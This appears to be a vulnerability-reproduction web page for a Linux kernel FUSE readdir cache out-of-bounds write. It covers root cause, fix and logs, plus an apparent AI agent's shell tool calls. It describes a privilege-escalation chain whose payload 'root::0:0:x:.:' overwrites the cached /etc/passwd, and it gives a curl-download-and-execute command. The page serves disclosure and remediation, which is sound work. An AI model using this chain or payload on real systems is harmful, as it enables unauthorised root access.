CVE-2026-31694: Verified Reproduction
CVE-2026-31694: Linux kernel FUSE readdir cache out-of-bounds write
CVE-2026-31694 is verified against the affected target. Vulnerability class: Privilege Escalation. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00221.
What Is CVE-2026-31694?
CVE-2026-31694 is a high-severity out-of-bounds write in the Linux kernel's FUSE readdir cache, in fs/fuse/readdir.c, that lets a malicious FUSE server overflow a page-cache page by 24 bytes. Pruva reproduced it (reproduction REPRO-2026-00221).
CVE-2026-31694 Severity & CVSS Score
CVE-2026-31694 is rated high severity, with a CVSS base score of 7.8 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
How to Reproduce CVE-2026-31694
pruva-verify REPRO-2026-00221 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00221/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-31694
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
malicious FUSE server READDIR reply with namelen=4095 and payload root::0:0:x:.:\n#######
- uid 1000 FUSE daemon
- getdents64
- fuse_readdir_uncached
- fuse_emit
- fuse_add_dirent_to_cache
- memcpy oversized dirent into readdir cache page
- /etc/passwd page-cache first line changed
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2026-31694
CVE-2026-31694 is an out-of-bounds write in the Linux kernel FUSE readdir cache. A malicious userspace FUSE daemon can return a FUSE_READDIR entry with a server-controlled namelen=4095; the kernel serializes this as a 4120-byte directory entry and copies it into a single 4096-byte readdir cache page. The missing reclen > PAGE_SIZE validation lets the final 24 bytes spill into the next physical page. In this run, the vulnerability was reproduced end-to-end in a QEMU guest using the real Linux kernel/FUSE code path, and the exploit chain was extended beyond KASAN-visible corruption: an unprivileged uid 1000 process changed the page-cache contents of a root-owned, read-only /etc/passwd file to a passwordless-root line. A fixed fuse.ko negative control rejected the oversized dirent and left /etc/passwd unchanged.
- Package/component affected: Linux kernel FUSE subsystem, specifically
fs/fuse/readdir.cin the readdir cache path (fuse_add_dirent_to_cache()). - Affected versions: The issue is reachable after the FUSE name length increase to
PATH_MAX - 1/ 4095, reported for Linux v6.16 through v7.0-rc and affected stable branches before the fix. - Risk level and consequences: High. A local attacker able to run a malicious FUSE daemon can obtain a constrained but attacker-controlled 24-byte overwrite into an adjacent physical page. When groomed onto a page-cache page for a privileged file such as
/etc/passwd, the primitive bypasses filesystem write permissions and can produce local privilege escalation semantics.
Impact Parity
- Disclosed/claimed maximum impact: Unprivileged local privilege escalation via page-cache corruption of
/etc/passwd. - Reproduced impact from this run: Full local privilege-escalation primitive. The script boots a non-sanitized kernel in QEMU, uses the real FUSE kernel path, drops the exploit process to uid/gid 1000 before attacker-controlled
READDIRreplies and target corruption, verifies direct writes to/etc/passwdfail withRead-only file system, then shows/etc/passwdpage-cache contents changed fromroot:x:0:0:root:/root:/bin/shtoroot::0:0:x:.:. Two vulnerable attempts succeeded, and two fixed negative-control attempts left/etc/passwdunchanged. - Parity:
full. - Not demonstrated: The proof stops after demonstrating the root-level page-cache corruption effect. It does not spawn an interactive root shell, but the demonstrated primitive is the disclosed LPE mechanism: an unprivileged attacker changes the trusted cached contents of a root-owned passwd file to a passwordless-root entry without write permission.
Root Cause
fuse_add_dirent_to_cache() computes a serialized FUSE dirent size from a FUSE-server-controlled name length and copies that many bytes into a single page-cache page. The vulnerable logic only checks whether the record fits in the remaining space of the current page and, if not, advances to a fresh page with offset zero. It does not reject a record whose serialized length is larger than one page.
Conceptually, the vulnerable flow is:
size_t reclen = FUSE_DIRENT_SIZE(dirent); // 4120 for namelen=4095
...
offset = size & ~PAGE_MASK;
if (offset + reclen > PAGE_SIZE) {
index++;
offset = 0;
}
...
memcpy(addr + offset, dirent, reclen); // copies 4120 bytes into 4096-byte page
For namelen=4095, FUSE_DIRENT_ALIGN(24 + 4095) is 4120. At offset=0, the kernel still performs memcpy(..., 4120) into a 4096-byte page, spilling 24 bytes into the next physical page. The exploit controls those trailing bytes and uses page allocator grooming to place the first page of /etc/passwd in the adjacent page frame.
The fix is to reject oversized dirents before adding them to the readdir cache, e.g. by adding a guard equivalent to:
if (reclen > PAGE_SIZE)
return;
The ticket identifies upstream fix commit 51a8de6c50bf947c8f534cd73da4c8f0a13e7bed (fuse: reject oversized dirents in page cache). The reproduction script builds the vulnerable module without this guard and the fixed module with this guard as the negative control.
Reproduction Steps
- Run
bundle/repro/reproduction_steps.shfrom the repository workspace, or run it withPRUVA_ROOT=/path/to/bundle. - The script:
- Reuses the prepared Linux source/build cache when available.
- Builds a non-sanitized Linux kernel and vulnerable
fuse.kofrom the real source. - Builds a fixed
fuse.kowith thereclen > PAGE_SIZEguard. - Builds
bundle/repro/fuse_passwd_lpefrombundle/repro/fuse_passwd_lpe.c, a public-PoC-derived malicious FUSE daemon that speaks the real FUSE protocol. - Creates a small active ext4 root filesystem containing a root-owned, mode
0444/etc/passwd. - Boots QEMU twice with the vulnerable module and twice with the fixed module.
- In each guest, root performs only setup/module loading; the exploit drops to uid/gid 1000 before attacker-controlled FUSE replies and
/etc/passwdtargeting.
- Expected evidence:
- Vulnerable attempts show
PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd,Direct write check as uid 1000: Read-only file system, andINIT_AFTER=root::0:0:x:.:. - Fixed attempts show
INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENTandINIT_AFTER=root:x:0:0:root:/root:/bin/shwith no page-cache-corruption confirmation.
- Vulnerable attempts show
Evidence
Primary current-run artifacts:
bundle/repro/reproduction_steps.sh— self-contained reproduction script.bundle/repro/runtime_manifest.json— runtime evidence manifest written by the script.bundle/repro/validation_verdict.json— structured verdict written by the script.bundle/logs/reproduction_steps.log— consolidated build and proof log.bundle/logs/qemu_lpe_vuln_attempt1.logbundle/logs/qemu_lpe_vuln_attempt2.logbundle/logs/qemu_lpe_fixed_attempt1.logbundle/logs/qemu_lpe_fixed_attempt2.logbundle/repro/fuse_passwd_lpe.candbundle/repro/fuse_passwd_lpe— malicious FUSE daemon/helper used in the guest.bundle/repro/fuse-nokasan-vuln.koandbundle/repro/fuse-nokasan-fixed.ko— vulnerable and fixed FUSE modules used for comparison.
Key vulnerable evidence from the second verified run in bundle/logs/reproduction_steps.log:
Primary proof build is non-sanitized: CONFIG_KASAN is disabled
INIT_ROLE=vuln
INIT_KERNEL=6.18.18
INIT_ROOTFS_ACTIVE=/dev/vda
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
[+] Warmup: 3/5 (60%)
[*] LPE 1/200 ... [+] CORRUPTED /etc/passwd first_line=root::0:0:x:.:
HIT!
[+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd
INIT_EXPLOIT_RC=0
INIT_AFTER=root::0:0:x:.:
INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
VULNERABLE attempt 1: unprivileged page-cache corruption of /etc/passwd confirmed
The second vulnerable attempt produced the same successful markers:
INIT_ROLE=vuln
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Direct write check as uid 1000: Read-only file system
[+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd
INIT_AFTER=root::0:0:x:.:
INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
VULNERABLE attempt 2: unprivileged page-cache corruption of /etc/passwd confirmed
Fixed negative-control evidence:
INIT_ROLE=fixed
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
[+] Warmup: 0/5 (0%)
[-] No warmup hits.
INIT_EXPLOIT_RC=1
INIT_AFTER=root:x:0:0:root:/root:/bin/sh
INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT
FIXED attempt 1: oversized dirent failed closed; /etc/passwd unchanged
The second fixed attempt also failed closed and left /etc/passwd unchanged. The script summary was:
Vulnerable page-cache-corruption attempts: 2/2
Fixed negative-control attempts: 2/2
CVE-2026-31694 CONFIRMED: non-sanitized vulnerable kernel permits uid 1000 to corrupt the page-cache contents of root-owned read-only /etc/passwd; fixed module blocks it.
Recommendations / Next Steps
- Apply the upstream fix that rejects dirents whose serialized length exceeds
PAGE_SIZEbefore caching them. - Backport the
reclen > PAGE_SIZEguard to all supported kernels that include the FUSE name length increase and have vulnerable readdir cache logic. - Add regression tests for FUSE
READDIRreplies with maximum name lengths, including records that exceed a page after alignment. - Consider hardening and auditing other page-cache or direct-map write paths where attacker-controlled data can cross a page boundary into an adjacent physical page.
- Treat KASAN-only testing as insufficient for this exploit class: the primary exploit target is a page-cache page and the important observable impact is privileged file-content corruption in the kernel page cache.
Additional Notes
- Idempotency confirmation:
bundle/repro/reproduction_steps.shwas executed twice consecutively after the shell bug was fixed. Both runs exited 0 and produced the same 2/2 vulnerable and 2/2 fixed outcomes. - Primary proof mode: The proof is intentionally non-sanitized (
CONFIG_KASANdisabled) and uses product/runtime kernel execution through QEMU and the real FUSE boundary. - Privilege boundary: The process opens
/dev/fuseand mounts during privileged harness setup, then callssetresgid(1000,1000,1000)andsetresuid(1000,1000,1000)before sending malicious FUSEREADDIRreplies and grooming/etc/passwd. - Scope: The proof demonstrates the disclosed LPE primitive by changing the trusted page-cache contents of root-owned
/etc/passwd. It does not persist the change to disk or spawn an interactive root shell, to keep the run deterministic and self-contained.
CVE-2026-31694 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls -la /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/ 2>/dev/null; echo "---KERNELS---"; ls -la /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/ 2>/dev/null; ls -la /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/*/ 2>/dev/null; echo "---QEMU---"; which qemu-system-x86_64 2>/dev/null; echo "---REPRO---"; cat /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/repro.c{"cwd":"/data/pruva/runs/faf1cf12-e2da-4977-9356-d1d6c2a36dfd","duration_ms":11,"exit_code":0,"stderr":"","stdout":"total 0\ndrwxr-xr-x 1 vscode vscode 22 Jul 2 21:46 .\ndrwxr-xr-x 1 vscode vscode 1370 Jul 3 10:05 ..\ndrwxr-xr-x 1 vscode vscode 60 Jul 3 13:05 proof-carry\n---KERNELS---\ntotal 0\ndrwxr-xr-x 1 vscode vscode 50 Jul 3 09:29 .\ndrwxr-xr-x 1 vscode vscode 1370 Jul 3 10:05 ..\ndrwxr-xr-x 1 vscode vscode 100 Jul 3 09:23 bond\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 10:05 bond7rc2\ndrwxr-xr-x 1 vscode vscode 470 Jul 2 21:40 v7.0.10\ndrwxr-xr-x 1 vscode vscode 462 Jul 2 21:40 v7.0.9\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/bond/:\ntotal 333696\ndrwxr-xr-x 1 vscode vscode 100 Jul 3 09:23 .\ndrwxr-xr-x 1 vscode vscode 50 Jul 3 09:29 ..\n-rw-r--r-- 1 vscode vscode 219 Jul 3 09:12 BUILT_MARKER\n-rw-r--r-- 1 vscode vscode 21840896 Jul 3 09:11 bzImage\n-rw-r--r-- 1 vscode vscode 208920576 Jul 3 09:11 fixed-rootfs.img\n-rw-r--r-- 1 vscode vscode 208969728 Jul 3 09:23 vuln-rootfs.img\n\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/bond7rc2/:\ntotal 801532\ndrwxr-xr-x 1 vscode vscode … [truncated]echo "=== linux-src version ==="; head -5 /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/Makefile 2>/dev/null; echo "=== linux-src-7rc2 version ==="; head -5 /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src-7rc2/Makefile 2>/dev/null; echo "=== proof-carry ==="; find /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry -type f 2>/dev/null; echo "=== QEMU check ==="; which qemu-system-x86_64 2>/dev/null || echo "no qemu"; dpkg -l | grep -i qemu 2>/dev/null | head -5; echo "=== KVM ==="; ls -la /dev/kvm 2>/dev/null || echo "no /dev/kvm"{"cwd":"/data/pruva/runs/faf1cf12-e2da-4977-9356-d1d6c2a36dfd","duration_ms":14,"exit_code":0,"stderr":"","stdout":"=== linux-src version ===\n# SPDX-License-Identifier: GPL-2.0\nVERSION = 6\nPATCHLEVEL = 18\nSUBLEVEL = 18\nEXTRAVERSION =\n=== linux-src-7rc2 version ===\n# SPDX-License-Identifier: GPL-2.0\nVERSION = 7\nPATCHLEVEL = 0\nSUBLEVEL = 0\nEXTRAVERSION = -rc2\n=== proof-carry ===\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/reproduction_steps.sh\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/runtime_manifest.json\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/validation_verdict.json\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/rca_report.md\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/logs/reproduction_steps.log\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/logs/qemu_var_vuln.log\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-… [truncated]echo "=== FUSE readdir.c in linux-src ==="; cat /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/fs/fuse/readdir.c 2>/dev/null | head -200; echo "=== FUSE_NAME_MAX in linux-src ==="; grep -rn "FUSE_NAME_MAX" /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/include/ 2>/dev/null | head -20{"cwd":"/data/pruva/runs/faf1cf12-e2da-4977-9356-d1d6c2a36dfd","duration_ms":684,"exit_code":0,"stderr":"","stdout":"=== FUSE readdir.c in linux-src ===\n/*\n FUSE: Filesystem in Userspace\n Copyright (C) 2001-2018 Miklos Szeredi <miklos@szeredi.hu>\n\n This program can be distributed under the terms of the GNU GPL.\n See the file COPYING.\n*/\n\n\n#include \"fuse_i.h\"\n#include <linux/iversion.h>\n#include <linux/posix_acl.h>\n#include <linux/pagemap.h>\n#include <linux/highmem.h>\n\nstatic bool fuse_use_readdirplus(struct inode *dir, struct dir_context *ctx)\n{\n\tstruct fuse_conn *fc = get_fuse_conn(dir);\n\tstruct fuse_inode *fi = get_fuse_inode(dir);\n\n\tif (!fc->do_readdirplus)\n\t\treturn false;\n\tif (!fc->readdirplus_auto)\n\t\treturn true;\n\tif (test_and_clear_bit(FUSE_I_ADVISE_RDPLUS, &fi->state))\n\t\treturn true;\n\tif (ctx->pos == 0)\n\t\treturn true;\n\treturn false;\n}\n\nstatic void fuse_add_dirent_to_cache(struct file *file,\n\t\t\t\t struct fuse_dirent *dirent, loff_t pos)\n{\n\tstruct fuse_inode *fi = get_fuse_inode(file_inode(file));\n\tsize_t reclen = FUSE_DIRENT_SIZE(dirent);\n\tpgoff_t index;\n\tstruct page *page;\n\tloff_t size;\n\tu64 version;\… [truncated]Artifacts and Evidence for CVE-2026-31694
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-31694
FAQ: CVE-2026-31694
Does CVE-2026-31694 require remote access to exploit?
How severe is CVE-2026-31694?
How can I reproduce CVE-2026-31694?
References for CVE-2026-31694
Authoritative sources for CVE-2026-31694 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.